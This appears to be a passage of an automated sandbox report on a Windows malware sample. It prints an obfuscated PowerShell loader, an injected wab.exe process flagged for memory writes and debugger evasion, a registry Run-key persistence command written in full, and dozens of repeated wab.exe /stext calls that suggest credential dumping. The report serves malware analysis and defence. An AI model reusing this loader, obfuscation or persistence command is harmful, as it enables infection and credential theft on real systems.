axibuNPenonce0DansemuSS,pracrfCruelleQ GrnsesNDobbeltXRadioakWLatridiOt.kstfaDInteropR PolitirYdelsese So,ace4Rdlgene6sengek.WPandit,rBeautybPe.emitauRefuserlspisestsXylot ph,abbage4DiscordlVourukaoDeut.ra ';$Milieuretternes=Landocracy 'Mirvud,> Stonil ';$Afstivningstmmers=Landocracy 'smagss,iUnconsteString.xL vande ';$Bummelummernes='cezanne';Banians (Landocracy ' Curf wSureelleeminuendtStoryer-Beb,edeCBesynd.oRivieranPlutonitByzantieSommerfnAarh.ndtbiforin Thronis- afgl,tPelefmegaPatroletstjyllah Tankb. VrdigenTSchoolw:Meinybe\FrimureDTopiarioPostgemuStolonssHumrforiFillistnoverillg formkr.Unsc,emt SammenxDithiontUn ovea Pleatin- ThuyopVElsha eaT.ilsinlA totoxuCoe,ploeCa.usis Kaliffe$So ialdBB,ckupfuBunkendmProbl.mmMisacc.e .atalul qu keru,anuslimAbor gimHolm oleGemmo orDrag,onnfremst,e ApokalsSamstil;vi,demi ');Banians (Landocracy 'Hospitai MillcafHvere a benzogl(Nonma,ktKa.edrae Preve.sNittenetNoniner-orach.mpBakspejaDet.battStikordhHermene a.sembTTriolog:Pe igon\ EnkronDScreenaoRockribuBotaniksHemimetiUndervin AabningDulmerl.AdullamtUdk mmixObl.gattLavener)Radiomo{BrudenaeAplombsxDemipreiGriot.etMisgau } Forvnn;Klaustr ');$Centrumspartis = Landocracy 'Ko.vojeeOvervarcOriginah.olibako iames pitons%TemporiaHygromepKaddishpBullbegdOxyaldeaCogita t Musikia Radens% Kraftv\DrvogteJResleg.aLavspornCultishe ierogrt lotsantMulticusStygger. TeknolHAnt.kvaoAbrogatvGalvan. mo,genp&Unde.la&Udpolst Evenfoe OncogecFlormelhKonven.oSvaneni val.etp$ Mettys ';Banians (Landocracy 'bechame$Yabbybig BestralUnreconoNavnerkbJulepira etechil Rae,ke:Sp,tlumRsalathoeRenestudSekvenssA.onisskRespostaDisciplbMblere.e MilliotRepar t=Tomo,ra(AraucancCompilemEfterhadfiredog Rollehf/FlyttelcUncon.r K ingl$Kl nusiCudvalg.e Efte knpneumontFishifirRuflersuraylessmFlyta lsTrepunkpHkbrtk,aDsigh,dr Cr.ccutImpressiant.roms Afleve) Eurasi ');Banians (Landocracy 'Ti.ndee$ sammengdander l FetereoBol.gstb Coloria TrkkerlTub.lip:KlimatoSGarrybouUfoenstlmusika,v MeleagaUnsacranBi letpi Har patAsteriseFinnets= Vegeta$Corfi zSHydrocheAntiantmDamaskdi TrimniaAphanopgtaleor,rgingiliiThiophecMoolveeu .lphablSaddelmtI,fectouVanskelr Mi,behaUnregullEjsaszi.BlaasimsPodop yp GuckiflA.gravei Olympstspongio(E.gbeat$HealltoMsa,atori Payo,al gamiliS.uggiseOptegneuPol inir Ober,te Felonut PrologtPremuddeFr,kaderK ltedenContredeBoroglysGluteth)Deriver ');$Semiagricultural=$Sulvanite[0];Banians (Landocracy 'antinom$Dalstrkg Friktil TalliaoPocketbbSolretta Trmlksl Repola:BoyishnLTiresomiGuill tnBaldacheAleksa nNeiamisyDiplaca=bombefaN C.anideLampicgwCor opa-UdvidelOIceblinbFluefanjLoftr.geVidereuc DissimtSkriftt NonexpeS Lastluy jer,missuperi tNonepise ennesbmWestlei.PolyderNLungleseVal tastOveragg.GalaxiaWDisfigue Co,rgebSkalaerCPrjs.sklBrowbeai bewil eKadayann GwantutEpiz,ar ');Banians (Landocracy 'Lau.ing$fol.eliLkobsmediTif ingn .lodplestillegnReverbeyPillslv.SnblersHRamificeIn.awrya Nulterddis ecoe Slt,enrFunkti,sGrinebi[ ,oaste$Refo maRS,opovee filmkucSerigrakAdtranzvHollysreH emmeblTransplsPerfunceA legaa]Fro,ten= ombedf$Elapi.aYOverjeguCycloalrBjlkelotUdrejsesAbort v ');$Fldebollers=Landocracy 'Byp,anvLProverbi igdomn BiomasePatten,nl,mbardy Taane,.MacromeDUnwom noSweetbrwFoders.nDagpenglOrdinato LettisaSomewhedPengepuFBekostniOverp,elFlyve,ieVridsls(Umaadeh$Baro etSplatytre AkkvismTodaysniAsymptoaMarti igStbloklr Candiei heoremc Sforsvuchorookl Diag ntSofaenlu Nor.bor CarlssaHr,ndehlForlbsm,grounds$ SpectrSLufttryt AdessioStoka ip.denosip .eandee UdskildDupliceeDeltran)Skri.te ';$Fldebollers=$Redskabet[1]+$Fldebollers;$Stoppede=$Redskabet[0];Banians (Landocracy 'Rat ail$FascistgMisrgtelSinistroSphaerob StatisaDelo.ral Ekstre: LivmodSwarranthTrailerrRo.eldaiKaprerenImplemek Pharyne Total.rSeyche = Anorma(SachemsTsensomme BevidnsCokeneytForekno-HysteriPSmurrsraOrganist Bidr.gh Splids Lnsyst $ pslagsSFreajgetVandaleoFleishipKnuserepKonohikePaasttedSingrn.eBecrowd)Randpun ');while (!$Shrinker) {Banians (Landocracy 'S.edere$Tetraptgimpellil AliteroUddel gbImpertiaTebirkelPsyc,on:reaktioMKvatoriaStrikkeaLect,relTransfeeNectonebA tistroP,thisirOrbitozdPeacock=Miserab$OphjesitEkstraurPrsteviuKrecardespeakin ') ;Banians $Fldebollers;Banians (Landocracy 'A,pealeSBa diestSu.kertaEf.ertarPerill,tTric au-PrdestiS Aar,vilTmmermaeSlette eDirndlspPycnidi Serva.t4Deedine ');Banians (Landocracy 'Overscr$StraalegMars,allEnkestao pri,tabL,nugotaFa.lbanlBandolh:PosteriSu.smideh AaremarUkyndigikravlednFratri,kForevaleBo.tvasrCeltisa=Fullm.u(KvoteriTSuppleme AnybodsAcreamgtRanters- TmrerlPAngs ska F.avrstChalcedhDis ers Croppe.$Cr akieSBalancetEfterbyo rangsapChaforlp ElektreF.llowidPharmace Vandkm)Bra den ') ;Banians (Landocracy 'Tr,vatu$Hel.inngRund,ullhrfuglgoRevit lbUdpensla AdaptelBygsukk:Aareg nPThioniurForldedeBekendes Aar.igeDrnede lBeastislDisagres arefor= Snores$MosefungPlessiml.alemaao.urgersbC,nstanavoicenolH,rtigh:SukkertRReexcavo Cheverd CbabbaoBufferrm,ouchedoRllik nnSkrmfortUdkonkuaManuscrdCommerciAllermenTmmerprgTroneti+Turistc+ Metafu%Majoris$Tils,raStordensuCheckidl Strovev redresaPrioritn .dhhmaispar.ittSensitoeGiantsh. G,undtcBredbaaoTrich ouSugannanOver.omtMyted,n ') ;$Semiagricultural=$Sulvanite[$Presells];}$Construct=320971;$Selvglad=28390;Banians (Landocracy 'Al egor$bevaringRonsardl nallagoBre.iarbLibe alaDecurrel S amer:BlitterSMa,ebeahP,econsiStrmkntnW odagag nfaithuSubintraSydaf,irHereticdHippoid Sundhed=ringf n Gstgi.eGDretph,eCr,dleltprebble- TvrretCStyr etospeciatnFornufttUforligeSnresunnK umpfdtMagilps Efterst$Ro,angpSSrkenevtImpressoBebrushp UdskejpBa,tioneMelderndRek,rsmeLnnapro ');Banians (Landocracy 'Evapore$Udskibngydelsesl,enfaldo,inkhavbgrammabaarbejdelKlde.ka:Ex.ressP prolonhBenjameyNyprogrsToboggai Rorsmno.ackmakgOtariide FredsanTussedeiNovellecUntenab Xiphosu=Skdesls Udsendi[LusyscoSAlsi igyAl rmersEcpho.itParce leMo,osommBog ide.Flopp dCFacitt.oriflingnTlleappv uldfodeVekselvr RistertDeodora]Schisto:Afkrfta: MyoneuFTilstter rentetoSinoatrmTallerkBTitularaInfirmssYet,sateGendrej6Anticoa4 Re.gniSRaugravtUnvatter,nderviiPlenarynJunaskngKelterb(Galehus$BtisebrSKons.rthFugle.niHustanknRostroig Blgp augvinkelaRo.nfisrMenighedafvi.el)Alleg r ');Banians (Landocracy 'S,dstep$MessagegSlutninlVagtpa.oBad,nicbgrfterraUncircul Jerric:ThybokrS RemeditMajaguayPiggishr,rbeskykGennemre Iri oct FolkmormetallonLivssti Bu,hind=Yonnash b each[VenatorSCanesceyMonologs BrusketSe.vmede Henvejm Woolga.Nonb rdTClaudiaeIndroemxAkvatintRewa bi.Gr tingEFolketinHulken cSporipaoMig tyodReson ni orrykknDifton.g Rgerim]Senator:f ordmu:ForpestASher.bjSHeter,eCDispe sIEgenskaI Cuttli.Pr hibiGCleareteAftercotUnplentSchoppi.tUndila,r JestiniHygromen Quad,ig Exceed(Mi.ease$VariansPRemtrkkhStomoxyythyselfsHeltediiSenti,eobetingegBloomere DeroganBetaliniHar,unecH.ndeve)ologyk ');Banians (Landocracy 'araneid$Freq,eng ,vigatl St.dfaoOfficerbConservaOlavursl Ridies:BrandslSFolkerenKonversrUmbrac k retomlCloselieAdshearr mel.ans Ectrot= Totali$ Eva ueSmu,ketet IndkomyLkuskblrBesvimek Noasa eMmerefrtBrnearbrGolftrjn Snuff,.Ophid esReli teu FautorbCamisiasDecotict Antiphr QuereniHavvrt.nIncirc.gRetu.fl(Unamiab$ChordalC SvbesloTekstilnGorkiessvikarert aff,ktrLilleh,u orkshycExtratetlrkerbj, Glass $PositivSDetermieronnieplNonc.rrvS utafrgDeashtrlG,ttulaa Pr,ecidU,senve) Snuffl ');Banians $Snrklers;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1984
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Janetts.Hov && echo $"
      4⤵
      PID:4528
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1948
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fremmedordet" /t REG_EXPAND_SZ /d "%Inconsistency% -w 1 $Strkest=(Get-ItemProperty -Path 'HKCU:\Boligbebyggelses\').igniform;%Inconsistency% ($Strkest)"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2328
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fremmedordet" /t REG_EXPAND_SZ /d "%Inconsistency% -w 1 $Strkest=(Get-ItemProperty -Path 'HKCU:\Boligbebyggelses\').igniform;%Inconsistency% ($Strkest)"
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:4584
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1364
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5036
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4212
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4332
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5060
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:888
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3488
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:964
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1564
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1736
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4728
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2392
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1260
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2204
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3112
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3152
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:924
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2288
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3196
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1444
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3472
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3076
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4872
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5008
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4956
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4924
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1028
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2396
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4008
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2216
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4876
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4664
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3240
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4844
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3688
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1060
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1112
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2480
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3184
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2448
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4544
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1416
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1996
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2684
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2552
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4060
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1732
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2464
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4596
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4548
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1820
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2308
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2016
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4592
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4984
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1952
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4604
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4524
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4588
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4800
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5104
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4492
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1440
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4136
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4452
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2772
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4256
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4288
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4012
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4356
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4076
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4936
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4244
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2184
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3772
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3252
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3888
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1956
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1136
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3904
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:732
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3860
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3220
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3168
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3912
    - - C:\Program Files (x86)\windows mail\wab.exe
        
